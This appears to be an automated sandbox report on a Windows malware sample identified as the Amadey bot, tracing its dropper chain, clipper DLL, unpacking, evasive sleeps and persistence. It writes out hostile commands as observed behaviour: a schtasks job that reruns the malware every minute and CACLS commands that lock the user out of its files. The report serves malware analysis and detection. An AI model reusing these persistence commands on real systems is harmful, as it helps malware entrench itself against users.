Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe "C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe"
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "mnolyk.exe" /P "user:N"&&CACLS "mnolyk.exe" /P "user:R" /E&&echo Y\|CACLS "..\4b9a106e76" /P "user:N"&&CACLS "..\4b9a106e76" /P "user:R" /E&&Exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:N"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:R" /E
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:N"
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:R" /E
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\xriv.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\nika.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe "C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "mnolyk.exe" /P "user:N"&&CACLS "mnolyk.exe" /P "user:R" /E&&echo Y\|CACLS "..\4b9a106e76" /P "user:N"&&CACLS "..\4b9a106e76" /P "user:R" /E&&Exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:N"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:R" /E	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:N"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:R" /E	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003D1F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,		0_2_003D1F90
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Code function: 1_2_00F31F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,		1_2_00F31F90

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_003D597D

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe

Code function: 2_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,FindCloseChangeNotification,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,

2_2_004019F0

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6088:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Mutant created: \Sessions\1\BaseNamedObjects\c1ec479e5342a25940592acf24703eb2
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6044:120:WilError_01

Source: C:\Users\user\Desktop\file.exe	Command line argument: Kernel32.dll	0_2_003D2BFB
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Command line argument: Kernel32.dll	1_2_00F32BFB
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Command line argument: 08A	2_2_00413780

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wextract.pdb source: file.exe, bPsg.exe.0.dr
Source:	Binary string: D:\Mktmp\Amadey\Release\Amadey.pdb source: file.exe, 00000000.00000003.254759313.0000000002B4D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.254673704.0000000004709000.00000004.00000020.00020000.00000000.sdmp, xriv.exe, 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmp, xriv.exe, 0000000E.00000000.319981682.000000000122E000.00000002.00000001.01000000.00000009.sdmp, mnolyk.exe, 0000000F.00000000.321061276.00000000001DE000.00000002.00000001.01000000.0000000A.sdmp, mnolyk.exe, 0000000F.00000002.776375932.00000000001DE000.00000002.00000001.01000000.0000000A.sdmp, mnolyk.exe, 00000017.00000000.324442770.00000000001DE000.00000002.00000001.01000000.0000000A.sdmp, mnolyk.exe, 00000017.00000002.331617769.00000000001DE000.00000002.00000001.01000000.0000000A.sdmp, mnolyk.exe, 0000001E.00000000.454992434.00000000001DE000.00000002.00000001.01000000.0000000A.sdmp, mnolyk.exe, 0000001E.00000002.455530364.00000000001DE000.00000002.00000001.01000000.0000000A.sdmp, mnolyk.exe, 00000020.00000000.583556891.00000000001DE000.00000002.00000001.01000000.0000000A.sdmp, mnolyk.exe, 00000020.00000002.583854303.00000000001DE000.00000002.00000001.01000000.0000000A.sdmp, mnolyk.exe, 00000021.00000002.713071373.00000000001DE000.00000002.00000001.01000000.0000000A.sdmp, mnolyk.exe, 00000021.00000000.712358400.00000000001DE000.00000002.00000001.01000000.0000000A.sdmp, mnolyk.exe.14.dr, xriv.exe.0.dr
Source:	Binary string: Healer.pdb source: aPsf.exe, 00000002.00000002.293044545.0000000002430000.00000004.08000000.00040000.00000000.sdmp, aPsf.exe, 00000002.00000002.293843993.0000000004AF0000.00000004.08000000.00040000.00000000.sdmp, aPsf.exe, 00000002.00000002.293157331.0000000002651000.00000004.00000800.00020000.00000000.sdmp, aPsf.exe, 00000002.00000002.292800577.0000000002040000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wextract.pdbGCTL source: file.exe, bPsg.exe.0.dr
Source:	Binary string: C:\Users\Admin\source\repos\Healer\Healer\obj\Release\Healer.pdb source: bPsg.exe, 00000001.00000003.255402987.00000000009E3000.00000004.00000020.00020000.00000000.sdmp, bPsg.exe, 00000001.00000003.255338525.0000000004723000.00000004.00000020.00020000.00000000.sdmp, nika.exe, 00000007.00000000.294247979.0000000000D42000.00000002.00000001.01000000.00000008.sdmp, nika.exe.1.dr
Source:	Binary string: _.pdb source: aPsf.exe, 00000002.00000002.293044545.0000000002430000.00000004.08000000.00040000.00000000.sdmp, aPsf.exe, 00000002.00000002.293157331.0000000002651000.00000004.00000800.00020000.00000000.sdmp, aPsf.exe, 00000002.00000002.292800577.0000000002040000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\yoxici.pdb source: bPsg.exe, 00000001.00000003.255338525.00000000046E6000.00000004.00000020.00020000.00000000.sdmp, aPsf.exe, 00000002.00000000.255496089.0000000000401000.00000020.00000001.01000000.00000005.sdmp, aPsf.exe.1.dr
Source:	Binary string: D:\Mktmp\Amadey\ClipperDLL\Release\CLIPPERDLL.pdb source: mnolyk.exe, 0000000F.00000002.776777410.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001A.00000002.776435922.000000006EC2F000.00000002.00000001.01000000.0000000C.sdmp, clip64[1].dll.15.dr, clip64.dll.15.dr
Source:	Binary string: Healer.pdbH5 source: aPsf.exe, 00000002.00000002.293044545.0000000002430000.00000004.08000000.00040000.00000000.sdmp, aPsf.exe, 00000002.00000002.293843993.0000000004AF0000.00000004.08000000.00040000.00000000.sdmp, aPsf.exe, 00000002.00000002.293157331.0000000002651000.00000004.00000800.00020000.00000000.sdmp, aPsf.exe, 00000002.00000002.292800577.0000000002040000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe

Unpacked PE file: 2.2.aPsf.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe

Unpacked PE file: 2.2.aPsf.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003D724D push ecx; ret	0_2_003D7260
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Code function: 1_2_00F3724D push ecx; ret	1_2_00F37260
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_0041C40C push cs; iretd	2_2_0041C4E2
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_00423149 push eax; ret	2_2_00423179
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_0041C50E push cs; iretd	2_2_0041C4E2
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_004231C8 push eax; ret	2_2_00423179
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_0040E21D push ecx; ret	2_2_0040E230
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_0041C6BE push ebx; ret	2_2_0041C6BF
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_0252454E push ecx; retf	2_2_02524554
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Code function: 2_2_02524139 push edi; iretd	2_2_0252414E
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 14_2_0120F748 push E8FFFFFBh; iretd	14_2_0120F74D
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 14_2_01217D26 push ecx; ret	14_2_01217D39

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003D202A memset,memset,RegCreateKeyExA,RegQueryValueExA,RegCloseKey,GetSystemDirectoryA,LoadLibraryA,GetProcAddress,FreeLibrary,GetSystemDirectoryA,GetModuleFileNameA,LocalAlloc,RegCloseKey,RegSetValueExA,RegCloseKey,LocalFree,

0_2_003D202A

Source: nika.exe.1.dr

Static PE information: 0xE382D401 [Fri Dec 15 06:19:45 2090 UTC]

Persistence and Installation Behavior

Yara detected Amadey bot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0000000F.00000002.776777410.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.776777410.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mnolyk.exe PID: 6136, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	File created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\clip64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	File created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	File created: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	File created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003D1AE8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,		0_2_003D1AE8
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Code function: 1_2_00F31AE8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,		1_2_00F31AE8

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F

Creates an undocumented autostart registry key

Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Key value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:N"

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe TID: 1556	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe TID: 4444	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 6140	Thread sleep count: 64 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 6140	Thread sleep time: -1920000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 3024	Thread sleep time: -50000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 4648	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 4648	Thread sleep time: -6120000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 3184	Thread sleep count: 47 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 6140	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 1340	Thread sleep count: 200 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 1340	Thread sleep time: -200000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe

2_2_004019F0

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_2-13693

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Thread delayed: delay time: 180000	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_1-2449
Source: C:\Users\user\Desktop\file.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_0-2451

